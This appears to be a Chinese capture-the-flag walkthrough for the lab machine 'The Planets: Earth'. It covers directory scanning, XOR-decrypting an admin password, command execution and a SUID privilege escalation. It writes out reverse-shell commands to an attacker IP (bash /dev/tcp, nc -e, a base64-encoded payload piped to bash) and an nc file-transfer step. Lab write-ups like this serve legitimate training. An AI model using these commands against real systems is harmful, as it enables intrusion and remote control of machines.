靶机文档:The Planets: Earth
下载地址:Download (Mirror)
难易程度:Easy
信息收集
主机发现
端口扫描
80端口
需要做映射/etc/hosts
https://earth.local/
https://terratest.earth.local/
目录扫描
扫描http
协议是没有结果的,需要对https协议
做扫描
dirsearch
dirsearch -u https://earth.local/ -i 200
dirsearch -u https://terratest.earth.local/ -i 200
https://earth.local/admin/login
https://terratest.earth.local/robots.txt
发现除了常规的格式不能访问之外,最后还多了一个Disallow: /testingnotes.*
和上面的后缀格式拼接访问发现txt
文件可以访问
访问/testingnotes.txt
得到的信息有:
- 使用XOR加密
- testdata.txt用于测试加密。
- terra用作管理门户的用户名
访问/testdata.txt
漏洞利用
https://earth.local/
通过三个秘钥去尝试找到用户名为terra
对应的密码
前两个密钥不能用
得到密码:earthclimatechangebad4humans
username: terra
password:earthclimatechangebad4human
来到登陆页面进行登陆
命令执行漏洞
反弹shell
bash -i &> /deb/tcp/192.168.8.8/6868 0>&1
nc 192.168.8.8 6868 -e /bin/bash
只输入base64编码是不行的要结合解码命令
echo "bmMgMTkyLjE2OC44LjggNjg2OCAtZSAvYmluL2Jhc2gK"| base64 -d |bash
反弹到kali机器上
交互式shell
python3 -c "import pty; pty.spawn('/bin/bash')"
尝试sudo -l
没有可以运行sudo的文件
执行 find / -perm -u=s -type f 2>/dev/null
查找一些suid
权限文件
但是用户切换失败
nc文件传输
先在kali上输入nc -nlvp 6868 >reset_root
,开启监听
在靶机shell上输入nc 192.168.8.8 6868</usr/bin/reset_root
strace调试工具
使用strace工具检测reset_root文件的运行过程,如果没有可以下载安装下
发现文件执行失败是因为少了这三个文件或目录。
因此在靶机shell上创建这三个文件
进入靶机终端进行创键
touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe
创建完成后执行reset_root